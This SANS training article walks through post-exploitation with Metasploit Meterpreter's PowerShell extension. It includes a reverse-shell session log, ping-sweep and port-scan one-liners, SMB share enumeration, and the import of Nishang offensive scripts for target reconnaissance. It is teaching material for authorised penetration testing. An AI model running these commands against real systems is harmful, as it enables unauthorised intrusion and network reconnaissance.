SEC504: Hacker Tools, Techniques, and Incident Handling

Experience SANS training through course previews.
Learn MoreLet us help.
Contact usConnect, learn, and share with other cybersecurity professionals
Engage, challenge, and network with fellow CISOs in this exclusive community of security leaders
Become a member for instant access to our free resources.
Sign UpMission-focused cybersecurity training for government, defense, and education
Explore industry-specific programming and customized training solutions
Sponsor a SANS event or research paper
We're here to help.
Contact UsIn this article we'll look at how Metasploit Meterpreter can integrate PowerShell for extensible attacks in a red team or pen test engagement.
In my SEC504: Hacker Tools, Techniques, and Incident Handling class, we use Metasploit as a tool to examine lots of attack techniques, and we use the Meterpreter payload as a Command & Control (C2) interface. Meterpreter has built-in support for leveraging PowerShell, making it possible to extend Meterpreter's functionality to leverage native PowerShell commands and third-party PowerShell scripts against a target.
In this article, we'll look at how we can integrate local PowerShell attacks with a Meterpreter payload. Let's take a look!
For PowerShell post-exploitation attacks, we need to establish a Meterpreter payload on the victim system. There's lots of opportunities for this, including password attacks, drive-by attacks, phishing attacks, public-facing application exploitation, etc. For this article, we'll focus on using PowerShell after establishing a Meterpreter C2 session:
[*] Started reverse TCP handler on 10.10.75.1:4444
[*] 10.10.0.1:445 - Connecting to the server...
[*] 10.10.0.1:445 - Authenticating to 10.10.0.1:445 as user 'sec504'...
[*] 10.10.0.1:445 - Selecting PowerShell target
[*] 10.10.0.1:445 - Executing the payload...
[+] 10.10.0.1:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.0.1
[*] Meterpreter session 1 opened (10.10.75.1:4444 -> 10.10.0.1:1034) at 2022-07-10 02:44:51 +0000
meterpreter >
From the Meterpreter session, you can load the PowerShell extension by running [code]load powershell[/code]:
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter >
With the PowerShell extension loaded, we have access to four PowerShell-related commands:
The [code]powershell_execute[/code] command is straightforward: execute one or more PowerShell statements and return the output:
meterpreter > powershell_execute 'Get-Process | Where-Object -Property Name -EQ "lsass"'
[+] Command execution completed:
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1123 25 5888 18200 1.17 724 0 lsass
With the ability to run PowerShell commands through Meterpreter, we can quickly perform several post-exploitation enumeration actions.
We can use PowerShell's [code]Get-NetNeighbor[/code] cmdlet to discover other hosts on the LAN known to the local system:
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'
[+] Command execution completed:
IPAddress
---------
ff02::1:ff40:1f9a
ff02::1:3
ff02::1:2
ff02::fb
ff02::16
ff02::c
ff02::2
ff02::1
ff02::1:2
ff02::16
ff02::c
255.255.255.255
239.255.255.250
224.0.0.252
224.0.0.251
224.0.0.22
192.168.171.255
192.168.171.254
192.168.171.154
192.168.171.116
192.168.171.96
192,168.171.21
192.168.171.2
192.168.171.1
239.255.255.250
224.0.0.22
Using a [code]foreach[/code] loop and the PowerShell pipeline, we can use [code]Test-Connection[/code] to perform a ping sweep to identify other hosts:
meterpreter > powershell_execute '1..254 | foreach { "192.168.171.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName 192.168.171.${_} -Quiet)" }'
192.168.171.1: True
192.168.171.2: False
192.168.171.3: False
192.168.171.4: False
192.168.171.5: False
192.168.171.6: False
192.168.171.7: False
192.168.171.8: False
192.168.171.9: False
192.168.171.10: True
192.168.171.11: True
192.168.171.12: False
192.168.171.13: False
192.168.171.14: False
192.168.171.15: False
192.168.171.16: False
192.168.171.17: False
192.168.171.18: False
192.168.171.19: False
192.168.171.20: False
192.168.171.21: True
...
In his article PowerShell - Built-in Port Scanner, my friend Matt Toussain writes about the built-in TCP port scanner functionality in PowerShell using [code]Test-NetConnection -ComputerName -Port [/code]:
meterpreter > powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'
[+] Command execution completed:
WARNING: TCP connect to (192.168.171.21 : 80) failed
RemotePort TcpTestSucceeded
---------- ----------------
80 False
meterpreter > powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 445 | Select-Object -Property RemotePort, TcpTestSucceeded'
[+] Command execution completed:
RemotePort TcpTestSucceeded
---------- ----------------
445 True
This works well, but is pretty slow. [code]Test-NetConnection[/code] sends a lot of traffic to verify the host is up before it sends the TCP port test, creating a lot of overhead. Matt also suggests invoking the [code]TcpClient[/code] .NET class directly:
1..1024 | foreach {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.171.21",$_)) "Port $_ is open!"} 2>$null
Using the [code]TcpClient[/code] .NET class is faster than [code]Test-NetConnection[/code], but is still fairly slow, primarily when there are ports that are filtered or don't respond with open or closed messages. I set out to write something a little faster, and came up with this PowerShell function:
# Adapted from https://superuser.com/a/1534911
Function Test-CommonTCPPorts {
Param($address, $timeout=1000)
$ports = @(21,22,23,25,53,80,81,110,111,113,135,139,143,179,199,443,445,465,514,548,554,587,993,995,1025,1026,1720,1723,2000,3306,3389,5060,5900,6001,8000,8080,8443,8888,10000,32768)
ForEach ($port in $ports) {
$socket=New-Object System.Net.Sockets.TcpClient
try {
$result=$socket.BeginConnect($address, $port, $null, $null)
if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) {
throw [System.Exception]::new("Connection Timeout")
}
"$port - open"
} catch {
"$port - closed"
}
finally {
$socket.Close()
}
}
}
In [code]Test-CommonTCPPorts[/code] I used a list of the top 20 most common TCP ports according to the Nmap services file. Instead of using the [code]Connect()[/code] method in the [code]TcpClient[/code] .NET class, I use [code]BeginConnect()[/code], which allows us to specify a shorter timeout value when ports do not respond.
We can use Meterpreter to load this script into memory by copying and pasting it after reformatting into a less-legible-but-functional PowerShell 1-liner:
Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
meterpreter > powershell_execute 'Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }'
[+] Command execution completed:
meterpreter >
Once it is loaded into the PowerShell namespace, we can invoke it to scan systems, optionally specifying a timeout time to accelerate the scan at the potential cost of false-negatives (here I reduce the timeout duration to 500ms):
meterpreter > powershell_execute 'Test-CommonTCPPorts 192.168.171.21 500'
[+] Command execution completed:
21 - closed
22 - closed
23 - closed
25 - closed
53 - closed
80 - closed
110 - closed
111 - closed
135 - open
139 - open
143 - closed
443 - closed
445 - open
993 - closed
995 - closed
1723 - closed
3306 - closed
3389 - closed
5900 - closed
8080 - closed
Once we know the target systems and listening services, we can rely on other PowerShell functionality to enumerate the systems further. This might include enumerating SMB shares using [code]Get-WmiObject -Class win32_share[/code]:
meterpreter > powershell_execute 'Get-WmiObject -Class win32_share -ComputerName 192.168.171.21'
[+] Command execution completed:
Name Path Description
---- ---- -----------
ADMIN$ C:\WINDOWS Remote Admin
C$ C:\ Default share
IPC$ Remote IPC
share C:\share
The ability to run PowerShell commands, and to preserve the namespace of the environment in Meterpreter is wonderful, but we can also leverage Meterpreter to integrate PowerShell attack scripts as well.
Perhaps the most powerful PowerShell feature integrated into Meterpreter is the ability to load scripts local to the attacker system into the Meterpreter PowerShell environment using [code]powershell_import[/code]. This allows us to integrate PowerShell scripts against target systems through Meterpreter, without having to upload the script as a file on the compromised system.
Nishang is a collection of PowerShell scripts and payloads for offensive security tasks, written by Nikhil Mittal. Nishang includes support for establishing lots of persistence mechanisms, privilege escalation, defense evasion, credential access, and more.
Let's download Nishang into a convenient directory using [code]git[/code]. We can do this right from the Metasploit console:
meterpreter > background
[*] Backgrounding session 8...
msf6 exploit(windows/smb/psexec) > git clone https://github.com/samratashok/nishang.git
[*] exec: git clone https://github.com/samratashok/nishang.git
Cloning into 'nishang'...
remote: Enumerating objects: 1699, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 1699 (delta 2), reused 4 (delta 1), pack-reused 1691
Receiving objects: 100% (1699/1699), 10.88 MiB | 2.01 MiB/s, done.
Resolving deltas: 100% (1061/1061), done.
msf6 exploit(windows/smb/psexec) > sessions -i 8
[*] Starting interaction with 8...
meterpreter >
With the Nishang scripts on the attacker system, we can import and execute them through Meterpreter:
meterpreter > powershell_import nishang/Gather/Get-Information.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute Get-Information
[+] Command execution completed:
ERROR: get-childitem : Cannot find path 'HKEY_CURRENT_USER\software\simontatham\putty' because it does not exist.
ERROR:
ERROR: At line:27 char:34
ERROR: + else{$key = get-childitem <<<< $regkey}
...
Account Policy:
Force user logoff how long after time expires?: Never
Minimum password age (days): 0
Maximum password age (days): Unlimited
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: WORKSTATION
The command completed successfully.
Nishang doesn't gracefully handle missing registry keys (in this example, where PuTTY is not installed on the target system), but it will continue to enumerate the target using [code]Gather/Get-Information[/code], disclosing installed software and other platform details, including the use of a very weak password complexity policy.
Nishang includes several other useful scripts to leverage against the target system:
Meterpreter's PowerShell integration and straightforward: [code]load_powershell; powershell_import; powershell_execute[/code], giving us a lot of flexibility in leveraging this as part of a post-exploitation attack. It is not perfect, and I ran into several cases where Meterpreter would return a [code]Rex::TimeoutError Operation timed out[/code] for scripts, but it is reasonably functional, and a boon to analysts using Meterpreter for red team of pen-test engagements.
-Joshua Wright
Return to Getting Started With PowerShell
Joshua Wright is the author of SANS SEC504: Hacker Tools, Techniques, and Incident Handling, a faculty fellow for the SANS Institute, and a senior technical director at Counter Hack.
As Senior Technical Director at Counter Hack and SANS Faculty Fellow, Joshua has advanced cybersecurity through ethical penetration testing, uncovering critical vulnerabilities across Fortune 500 companies and national infrastructure providers.
Read more about Joshua Wright